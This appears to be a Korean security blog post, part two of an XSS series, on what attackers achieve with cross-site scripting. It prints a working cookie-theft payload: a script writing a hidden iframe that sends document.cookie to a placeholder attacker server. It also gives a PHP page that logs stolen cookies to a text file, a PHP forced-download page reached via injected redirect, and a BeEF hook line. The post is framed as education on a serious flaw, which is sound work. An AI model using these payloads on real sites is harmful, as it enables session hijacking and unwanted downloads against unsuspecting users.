효투의 세상 로딩중...
효투의 세상 로딩중...
반응형

2022.08.24 - [웹] - [Web] 크로스 사이트 스크립트(XSS) 정리 - 1

 

[Web] 크로스 사이트 스크립트(XSS) 정리 - 1

크로스 사이트 스크립트(XSS)는 공격자가 웹 페이지 내 클라이언트 언어(HTML, java script 등)을 이용하여 스크립트를 삽입하여 그 스크립트가 동작함으로 써 어떤 명령이 실행되게끔 하는 공격이다.

hyotwo.tistory.com

 

1편에서 XSS 취약점에 대해 다양한 방법으로 우회했다면

2편에서는 XSS를 가지고 할 수 있는 일들에 대해 정리해보자 한다.

 

보통 XSS 진단 시에 alert 창을 띄우는 것으로 끝내는 경우가 많다.

하지만 좀 더 나아가서 alert창을 띄우지 않고

사용자가 전혀 모르게 스크립트가 동작하는게 일반적인 공격방법이다.

만약 위 처럼 document.cookie를 이용하여 실제로 공격을 한다고하면 아래 영상과 같이 페이지에 접근 했을 때 사용자에겐 아무런 반응이 없지만

실제로는 스크립트가 동작하여 공격자의 DB또는 영상과같이 txt 파일로 세션정보가 적재되는 것이다.

 

위에서 사용된 스크립트는 다음과 같다

<script>document.write("<iframe src='공격자서버"+document.cookie+"' width=0 height=0 frameborder=0></iframe>")</script>

공격자의 서버에 사용자의 세션이 저장되는 이유는 아래와 같은 코드로 작성된 페이지로 리다이렉트되기 때문에

xssdata.txt 라는 텍스트파일에 data 파라미터로 온 값을 저장하게 된다.

물론 data 파라미터는 위 공격 스크립트에서 document.cookie가 담기게끔 하는 것이다.

<?php
$cookie=$_GET['data'];  //data 파라미터 cookie 변수에 저장

$atime=date("y-m-d H:i:s"); //날짜및 시간을 변수에 저장

$log=fopen("xssdata.txt","a"); 

fwrite($log,$atime." ".$cookie."\r\n"); 

fclose($log); 

?>

 

이 외에도 정교하게 만들어진 로그인 페이지나 prompt를 띄워서 사용자의 개인정보나 계정정보를 입력하게끔 유도할 수도 있다.

이 역시 입력을 하게되면 공격자의 서버로 사용자가 알아차리지 못하게 전송이 된다.

 

XSS를 활용한 다양한 공격방법을 실습할 수 있는 툴로는 kali linux의 BeeF 라는 툴이 있다.

https://www.kali.org/tools/beef-xss/

 

beef-xss | Kali Linux Tools

Screenshots beef Usage Example root@kali:~# beef-xss [*] Please wait for the BeEF service to start. [*] [*] You might need to refresh your browser once it opens. [*] [*] Web UI: http://127.0.0.1:3000/ui/panel [*] Hook: <script src="http://<IP>:3000/hook.js

www.kali.org

 

악성사이트 리다이렉트도 XSS를 이용한 공격 중 일부이지만

반응형

이 리다이렉트를 이용한 파일 강제 다운로드도 가능하다.

일단 공격자 서버에 파일 다운로드 페이지를 생성한다

<?php
  $target_Dir = "파일 경로";
  $file = "파일 이름";
  $down = $target_Dir.$file;
  $filesize = filesize($down);
  
  if(file_exists($down)){
    header("Content-Type:application/octet-stream");
    header("Content-Disposition:attachment;filename=$file");
    header("Content-Transfer-Encoding:binary");
    header("Content-Length:".filesize($target_Dir.$file));
    header("Cache-Control:cache,must-revalidate");
    header("Pragma:no-cache");
    header("Expires:0");
    if(is_file($down)){
        $fp = fopen($down,"r");
        while(!feof($fp)){
          $buf = fread($fp,8096);
          $read = strlen($buf);
          print($buf);
          flush();
        }
        fclose($fp);
    }
  } else{
    ?><script>alert("존재하지 않는 파일입니다.")</script><?php
  } 
?>

 

페이지에 접근만 하면 파일이 다운로드 되고 결국 이 페이지로 스크립트를 삽입하여 리다이렉트하면

아래 영상과 같이 파일이 다운로드 된다.

 

이렇게 다양한 스크립트를 활용해서 사용자가 눈치채지 못하게 공격을 할 수있다.

스크립트를 어떻게 짜느냐에 따라 천차만별로 나뉠 수도 있고 우회기법도 많고 공격 방법도 다양한 XSS는 가볍게 넘길 취약점이 아니라고 생각한다.

 

반응형
  • hyotwo7658@gmail.com

복사 완료 👍